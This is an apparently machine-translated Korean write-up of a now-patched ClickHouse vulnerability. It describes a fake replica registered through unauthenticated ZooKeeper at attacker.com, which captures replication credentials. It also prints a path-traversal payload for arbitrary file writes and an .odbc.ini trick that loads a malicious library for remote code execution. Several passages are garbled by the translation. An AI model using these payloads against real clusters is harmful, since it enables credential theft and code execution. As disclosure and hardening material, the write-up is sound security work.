๋™๋ฌผ์› ์šฐ๋ฆฌ๋ฅผ ํ์‡„ํ•ด์•ผ ํ•˜๋Š” ์ด์œ ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ?

๋™๋ฌผ์› ์šฐ๋ฆฌ๋ฅผ ํ์‡„ํ•ด์•ผ ํ•˜๋Š” ์ด์œ ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ?

์ด ๊ธฐ์‚ฌ์—์„œ๋Š” ClickHouse ๋ณต์ œ ํ”„๋กœํ† ์ฝœ์˜ ๋งค์šฐ ๊ตฌ์ฒด์ ์ธ ์ทจ์•ฝ์ ์— ๋Œ€ํ•ด ์„ค๋ช…ํ•˜๊ณ  ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ํ™•์žฅํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•๋„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

ClickHouse๋Š” ๋Œ€์šฉ๋Ÿ‰ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋กœ, ๋Œ€๋ถ€๋ถ„ ํ•˜๋‚˜ ์ด์ƒ์˜ ๋ณต์ œ๋ณธ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ClickHouse์˜ ํด๋Ÿฌ์Šคํ„ฐ๋ง ๋ฐ ๋ณต์ œ๋Š” ๊ทธ ์œ„์— ๊ตฌ์ถ•๋ฉ๋‹ˆ๋‹ค. ์•„ํŒŒ์น˜ ์ฃผํ‚คํผ (ZK)์ด๋ฉฐ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ZK ์„ค์น˜์—๋Š” ์ธ์ฆ์ด ํ•„์š”ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ Kafka, Hadoop, ClickHouse๋ฅผ ๊ตฌ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ์ˆ˜์ฒœ ๊ฐœ์˜ ZK ์„œ๋ฒ„๋ฅผ ๊ณต๊ฐœ์ ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ์ค„์ด๋ ค๋ฉด ZooKeeper๋ฅผ ์„ค์น˜ํ•  ๋•Œ ํ•ญ์ƒ ์ธ์ฆ ๋ฐ ๊ถŒํ•œ ๋ถ€์—ฌ๋ฅผ ๊ตฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ฌผ๋ก  ์ผ๋ถ€ 0day ๊ธฐ๋ฐ˜ Java ์—ญ์ง๋ ฌํ™”๊ฐ€ ์žˆ์ง€๋งŒ ๊ณต๊ฒฉ์ž๊ฐ€ ClickHouse ๋ณต์ œ์— ์‚ฌ์šฉ๋˜๋Š” ZooKeeper๋ฅผ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ์ƒํ•ด ๋ณด์‹ญ์‹œ์˜ค.

ํด๋Ÿฌ์Šคํ„ฐ ๋ชจ๋“œ๋กœ ๊ตฌ์„ฑ๋˜๋ฉด ClickHouse๋Š” ๋ถ„์‚ฐ ์ฟผ๋ฆฌ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. DDL, ZK๋ฅผ ํ†ต๊ณผ - ์‹œํŠธ์— ๋…ธ๋“œ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. /clickhouse/task_queue/ddl.

์˜ˆ๋ฅผ ๋“ค์–ด ๋…ธ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. /clickhouse/task_queue/ddl/query-0001 ๋‚ด์šฉ:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

๊ทธ ํ›„์—๋Š” ํด๋Ÿฌ์Šคํ„ฐ ์„œ๋ฒ„ ํ˜ธ์ŠคํŠธ1๊ณผ ํ˜ธ์ŠคํŠธ2์—์„œ ํ…Œ์ŠคํŠธ ํ…Œ์ด๋ธ”์ด ์‚ญ์ œ๋ฉ๋‹ˆ๋‹ค. DDL์€ CREATE/ALTER/DROP ์ฟผ๋ฆฌ ์‹คํ–‰๋„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

๋ฌด์„œ์šด ๊ฒƒ ๊ฐ™๋‚˜์š”? ๊ทธ๋Ÿฌ๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์„œ๋ฒ„ ์ฃผ์†Œ๋ฅผ ์–ด๋””์„œ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๊นŒ?

ํด๋ฆญํ•˜์šฐ์Šค ๋ณต์ œ ๊ฐœ๋ณ„ ํ…Œ์ด๋ธ” ์ˆ˜์ค€์—์„œ ์ž‘๋™ํ•˜๋ฏ€๋กœ ZK์—์„œ ํ…Œ์ด๋ธ”์ด ์ƒ์„ฑ๋  ๋•Œ ๋ณต์ œ๋ณธ๊ณผ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ๊ตํ™˜์„ ๋‹ด๋‹นํ•  ์„œ๋ฒ„๊ฐ€ ์ง€์ •๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์š”์ฒญ์„ ์‹คํ–‰ํ•  ๋•Œ(ZK๋ฅผ ๊ตฌ์„ฑํ•ด์•ผ ํ•˜๋ฉฐ, chXX - ๋ณต์ œ๋ณธ์˜ ์ด๋ฆ„, foobar - ํ…Œ์ด๋ธ” ์ด๋ฆ„):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

๋…ธ๋“œ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค ์—ด ะธ ๋ฉ”ํƒ€ ๋ฐ์ดํ„ฐ.

ํ•จ์œ ๋Ÿ‰ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

์ด ํด๋Ÿฌ์Šคํ„ฐ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณ‘ํ•ฉํ•  ์ˆ˜ ์žˆ๋‚˜์š”? ์˜ˆ, ๋ณต์ œ ํฌํŠธ(TCP/9009) ์„œ๋ฒ„์—์„œ chXX-address ๋ฐฉํ™”๋ฒฝ์€ ๋‹ซํžˆ์ง€ ์•Š์œผ๋ฉฐ ๋ณต์ œ๋ฅผ ์œ„ํ•œ ์ธ์ฆ๋„ ๊ตฌ์„ฑ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ธ์ฆ์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋ฌด์—‡์ž…๋‹ˆ๊นŒ?

๊ณต๊ฒฉ์ž๋Š” ๋‹จ์ˆœํžˆ ZK์˜ ๋‚ด์šฉ์„ ๋ณต์‚ฌํ•˜์—ฌ ZK์—์„œ ์ƒˆ๋กœ์šด ๋ณต์ œ๋ณธ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. /clickhouse/tables/01-01/foobar/replicas/chXX ๊ทธ๋ฆฌ๊ณ  ์˜๋ฏธ๋ฅผ ๋ฐ”๊พธ๋Š” ๊ฒƒ host.

ํ•จ์œ ๋Ÿ‰ /clickhouse/tables/01โ€“01/foobar/๋ณต์ œ๋ณธ/๊ณต๊ฒฉ์ž/ํ˜ธ์ŠคํŠธ:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

๊ทธ๋Ÿฐ ๋‹ค์Œ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— ๊ฐ€์ ธ์™€์•ผ ํ•˜๋Š” ์ƒˆ๋กœ์šด ๋ฐ์ดํ„ฐ ๋ธ”๋ก์ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋‹ค๋ฅธ ๋ณต์ œ๋ณธ์— ์•Œ๋ ค์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋…ธ๋“œ๋Š” ZK์—์„œ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX ๋‹จ์กฐ ์ฆ๊ฐ€ ์นด์šดํ„ฐ, ์ด๋ฒคํŠธ ๋กœ๊ทธ์˜ ๋งˆ์ง€๋ง‰ ์นด์šดํ„ฐ๋ณด๋‹ค ์ปค์•ผ ํ•จ):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

์–ด๋””์—์„œ ์†Œ์Šค_๋ณต์ œ๋ณธ โ€” ์ด์ „ ๋‹จ๊ณ„์—์„œ ์ƒ์„ฑ๋œ ๊ณต๊ฒฉ์ž์˜ ๋ณต์ œ๋ณธ ์ด๋ฆ„, block_id โ€” ๋ฐ์ดํ„ฐ ๋ธ”๋ก ์‹๋ณ„์ž, ์–ป์„ - "๋ธ”๋ก ๊ฐ€์ ธ์˜ค๊ธฐ" ๋ช…๋ น(๊ทธ๋ฆฌ๊ณ  ๋‹ค๋ฅธ ์ž‘์—…์— ๋Œ€ํ•œ ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.).

๋‹ค์Œ์œผ๋กœ, ๊ฐ ๋ณต์ œ๋ณธ์€ ๋กœ๊ทธ์—์„œ ์ƒˆ ์ด๋ฒคํŠธ๋ฅผ ์ฝ๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” โ€‹โ€‹์„œ๋ฒ„๋กœ ์ด๋™ํ•˜์—ฌ ๋ฐ์ดํ„ฐ ๋ธ”๋ก์„ ์ˆ˜์‹ ํ•ฉ๋‹ˆ๋‹ค(๋ณต์ œ ํ”„๋กœํ† ์ฝœ์€ ๋ฐ”์ด๋„ˆ๋ฆฌ์ด๋ฉฐ HTTP ์œ„์—์„œ ์‹คํ–‰๋จ). ์„ฌ๊ธฐ๋Š” ์‚ฌ๋žŒ attacker.com ์š”์ฒญ์„ ๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

์—ฌ๊ธฐ์„œ XXX๋Š” ๋ณต์ œ๋ฅผ ์œ„ํ•œ ์ธ์ฆ ๋ฐ์ดํ„ฐ์ž…๋‹ˆ๋‹ค. ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ์ด๋Š” ๊ธฐ๋ณธ ClickHouse ํ”„๋กœํ† ์ฝœ๊ณผ HTTP ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ๋Š” ๊ณ„์ •์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณด์‹œ๋‹ค์‹œํ”ผ ๋ณต์ œ์— ์‚ฌ์šฉ๋˜๋Š” ZooKeeper๊ฐ€ ์ธ์ฆ์ด ๊ตฌ์„ฑ๋˜์ง€ ์•Š์€ ์ƒํƒœ๋กœ ๋ฐฉ์น˜๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ ํ‘œ๋ฉด์ด ๋งค์šฐ ์ปค์ง‘๋‹ˆ๋‹ค.

๋ณต์ œ๋ณธ์—์„œ ๋ฐ์ดํ„ฐ ๋ธ”๋ก์„ ๊ฐ€์ ธ์˜ค๋Š” ๊ธฐ๋Šฅ์„ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ๋ณต์ œ๋ณธ์ด ์ ์ ˆํ•˜๊ฒŒ ์ œ์–ด๋˜๊ณ  ์žˆ์œผ๋ฉฐ ๋ณต์ œ๋ณธ ๊ฐ„์— ์‹ ๋ขฐ๊ฐ€ ์žˆ๋‹ค๋Š” ์™„์ „ํ•œ ํ™•์‹ ์„ ๊ฐ€์ง€๊ณ  ์ž‘์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๋™๋ฌผ์› ์šฐ๋ฆฌ๋ฅผ ํ์‡„ํ•ด์•ผ ํ•˜๋Š” ์ด์œ ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ?
๋ณต์ œ ์ฒ˜๋ฆฌ ์ฝ”๋“œ

์ด ํ•จ์ˆ˜๋Š” ํŒŒ์ผ ๋ชฉ๋ก, ์ด๋ฆ„, ํฌ๊ธฐ, ๋‚ด์šฉ์„ ์ฝ์€ ๋‹ค์Œ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์”๋‹ˆ๋‹ค. ํŒŒ์ผ ์‹œ์Šคํ…œ์— ๋ฐ์ดํ„ฐ๊ฐ€ ์ €์žฅ๋˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณ„๋„๋กœ ์„ค๋ช…ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

์—๋Š” ์—ฌ๋Ÿฌ ํ•˜์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. /var/lib/clickhouse (๊ตฌ์„ฑ ํŒŒ์ผ์˜ ๊ธฐ๋ณธ ์ €์žฅ์†Œ ๋””๋ ‰ํ„ฐ๋ฆฌ):

ํ”Œ๋ž˜๊ทธ - ๋…น์Œ์„ ์œ„ํ•œ ๋””๋ ‰ํ† ๋ฆฌ ๊นƒ๋ฐœ, ๋ฐ์ดํ„ฐ ์†์‹ค ํ›„ ๋ณต๊ตฌ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
tmp๋ฅผ โ€” ์ž„์‹œ ํŒŒ์ผ์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ ๋””๋ ‰ํ† ๋ฆฌ;
user_files โ€” ์š”์ฒญ์— ์žˆ๋Š” ํŒŒ์ผ์— ๋Œ€ํ•œ ์ž‘์—…์€ ์ด ๋””๋ ‰ํ„ฐ๋ฆฌ(INTO OUTFILE ๋ฐ ๊ธฐํƒ€)๋กœ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค.
๋ฉ”ํƒ€ ๋ฐ์ดํ„ฐ โ€” ํ…Œ์ด๋ธ” ์„ค๋ช…์ด ํฌํ•จ๋œ SQL ํŒŒ์ผ
preprocessed_configs - ๋‹ค์Œ์—์„œ ์ฒ˜๋ฆฌ๋œ ํŒŒ์ƒ ๊ตฌ์„ฑ ํŒŒ์ผ /etc/clickhouse-server;
๋ฐ์ดํ„ฐ - ๋ฐ์ดํ„ฐ ์ž์ฒด๊ฐ€ ํฌํ•จ๋œ ์‹ค์ œ ๋””๋ ‰ํ„ฐ๋ฆฌ. ์ด ๊ฒฝ์šฐ ๊ฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•ด ๋ณ„๋„์˜ ํ•˜์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์—ฌ๊ธฐ์— ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค(์˜ˆ: /var/lib/clickhouse/data/default).

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๊ฐ ํ…Œ์ด๋ธ”์— ๋Œ€ํ•ด ํ•˜์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๊ฐ ์—ด์€ ๋‹ค์Œ์— ๋”ฐ๋ผ ๋ณ„๋„์˜ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์—”์ง„ ํ˜•์‹. ์˜ˆ๋ฅผ ๋“ค์–ด ํ…Œ์ด๋ธ”์˜ ๊ฒฝ์šฐ foobar๊ณต๊ฒฉ์ž๊ฐ€ ์ƒ์„ฑํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŒŒ์ผ์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

๋ณต์ œ๋ณธ์€ ๋ฐ์ดํ„ฐ ๋ธ”๋ก์„ ์ฒ˜๋ฆฌํ•  ๋•Œ ๋™์ผํ•œ ์ด๋ฆ„์˜ ํŒŒ์ผ์„ ์ˆ˜์‹ ํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒํ•˜๋ฉฐ ์–ด๋–ค ๋ฐฉ์‹์œผ๋กœ๋„ ์œ ํšจ์„ฑ์„ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์„ธ์‹ฌํ•œ ๋…์ž๋ผ๋ฉด ์•„๋งˆ๋„ ํ•จ์ˆ˜์—์„œ file_name์˜ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์—ฐ๊ฒฐ์— ๋Œ€ํ•ด ์ด๋ฏธ ๋“ค์–ด๋ดค์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. WriteBufferFromFile. ์˜ˆ, ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ FS์˜ ๋ชจ๋“  ํŒŒ์ผ์— ์ž„์˜์˜ ์ฝ˜ํ…์ธ ๋ฅผ ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. clickhouse. ์ด๋ฅผ ์œ„ํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” โ€‹โ€‹๋ณต์ œ๋ณธ์€ ์š”์ฒญ์— ๋Œ€ํ•ด ๋‹ค์Œ ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ดํ•ดํ•˜๊ธฐ ์‰ฝ๋„๋ก ์ค„ ๋ฐ”๊ฟˆ์ด ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค).

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

๊ทธ๋ฆฌ๊ณ  ์—ฐ๊ฒฐ ํ›„ ../../../../../../../../../tmp/pwned ํŒŒ์ผ์ด ๊ธฐ๋ก๋ฉ๋‹ˆ๋‹ค /tmp/pwned ๋‚ด์šฉ์œผ๋กœ ์•ˆ๋…•ํ•˜์„ธ์š” ๋™๋ฌผ์› ์‚ฌ์œก์‚ฌ.

ํŒŒ์ผ ์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ RCE(์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰)๋กœ ์ „ํ™˜ํ•˜๋Š” ๋ฐ๋Š” ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์˜ต์…˜์ด ์žˆ์Šต๋‹ˆ๋‹ค.

RCE์˜ ์™ธ๋ถ€ ์‚ฌ์ „

์ด์ „ ๋ฒ„์ „์—์„œ๋Š” ClickHouse ์„ค์ •์ด ์žˆ๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ ์ €์žฅ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํด๋ฆญํ•˜์šฐ์Šค ๊ธฐ๋ณธ. ์„ค์ • ํŒŒ์ผ์€ ์„œ๋น„์Šค๊ฐ€ ์‹œ์ž‘ ์‹œ ์ฝ์€ ๋‹ค์Œ ์บ์‹œ๋˜๋Š” XML ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. /var/lib/clickhouse/preprocessed_configs. ๋ณ€๊ฒฝ์‚ฌํ•ญ์ด ๋ฐœ์ƒํ•˜๋ฉด ๋‹ค์‹œ ์ฝํ˜€์ง‘๋‹ˆ๋‹ค. ๋‹ค์Œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ /etc/clickhouse-server ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ๋งŒ์˜ ๊ฒƒ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค ์™ธ๋ถ€ ์‚ฌ์ „ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์œ ํ˜•์„ ์„ ํƒํ•œ ๋‹ค์Œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ํ˜„์žฌ ํด๋ฆญํ•˜์šฐ์Šค ๋ฒ„์ „์€ ๊ธฐ๋ณธ์ ์œผ๋กœ ๊ถŒํ•œ์„ ์ œ๊ณตํ•˜์ง€ ์•Š์ง€๋งŒ, ์„œ๋ฒ„๊ฐ€ ์ ์ง„์ ์œผ๋กœ ์—…๋ฐ์ดํŠธ๋˜๋ฉด ํ•ด๋‹น ๊ถŒํ•œ์ด ์œ ์ง€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ClickHouse ํด๋Ÿฌ์Šคํ„ฐ๋ฅผ ์ง€์›ํ•˜๋Š” ๊ฒฝ์šฐ ์„ค์ • ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ํ™•์ธํ•˜์„ธ์š”. ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ๋Š” ์‚ฌ์šฉ์ž์—๊ฒŒ ์†ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. root.

ODBC์—์„œ RCE๋กœ

ํŒจํ‚ค์ง€๋ฅผ ์„ค์น˜ํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. clickhouse, ํ™ˆ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์ƒ์„ฑ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. /nonexistent. ๊ทธ๋Ÿฌ๋‚˜ ์™ธ๋ถ€ ์‚ฌ์ „์„ ์‚ฌ์šฉํ•  ๋•Œ๋‚˜ ๋‹ค๋ฅธ ์ด์œ ๋กœ ๊ด€๋ฆฌ์ž๋Š” ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. /nonexistent ๊ทธ๋ฆฌ๊ณ  ์‚ฌ์šฉ์ž์—๊ฒŒ clickhouse ์“ฐ๊ธฐ ์•ก์„ธ์Šค ๊ถŒํ•œ(SSZB! ์•ฝ. ์—ญ์ž).

ํด๋ฆญํ•˜์šฐ์Šค๋Š” ์ง€์›ํ•ฉ๋‹ˆ๋‹ค ODBC ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ODBC์—์„œ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋“œ๋ผ์ด๋ฒ„ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(.so)์— ๋Œ€ํ•œ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ClickHouse์˜ ์ด์ „ ๋ฒ„์ „์—์„œ๋Š” ์š”์ฒญ ์ฒ˜๋ฆฌ๊ธฐ์—์„œ ์ง์ ‘ ์ด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์—ˆ์ง€๋งŒ ์ด์ œ๋Š” ์—ฐ๊ฒฐ ๋ฌธ์ž์—ด์— ๋Œ€ํ•œ ๋ณด๋‹ค ์—„๊ฒฉํ•œ ๊ฒ€์‚ฌ๊ฐ€ ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค. odbc-bridge, ๋”ฐ๋ผ์„œ ๋” ์ด์ƒ ์š”์ฒญ์—์„œ ๋“œ๋ผ์ด๋ฒ„ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ณต๊ฒฉ์ž๊ฐ€ ์œ„์— ์„ค๋ช…๋œ ์ทจ์•ฝ์ ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ™ˆ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๊นŒ?

ํŒŒ์ผ์„ ๋งŒ๋“ค์–ด๋ณด์ž ~/.odbc.ini ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์œผ๋กœ:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

๊ทธ๋Ÿฐ ๋‹ค์Œ ์‹œ์ž‘ ์‹œ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค test.so ๊ทธ๋ฆฌ๊ณ  RCE๋ฅผ ๋ฐ›์•˜์Šต๋‹ˆ๋‹ค(๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค ๋ฒ„๊ทธ๋ก ํŒ).

ClickHouse ๋ฒ„์ „ 19.14.3์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ๊ณผ ๊ธฐํƒ€ ์ทจ์•ฝ์ ์ด ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ClickHouse์™€ ZooKeepers๋ฅผ ์ž˜ ๊ด€๋ฆฌํ•˜์„ธ์š”!

์ถœ์ฒ˜ : habr.com

์ฝ”๋ฉ˜ํŠธ๋ฅผ ์ถ”๊ฐ€